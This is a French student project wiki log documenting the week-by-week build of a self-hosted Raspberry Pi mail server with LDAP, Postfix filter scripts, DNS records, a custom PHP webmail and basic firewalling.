Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Guide d'installation (version seule, déjà inclus dans le rapport final) :

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-23T10:23:55Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

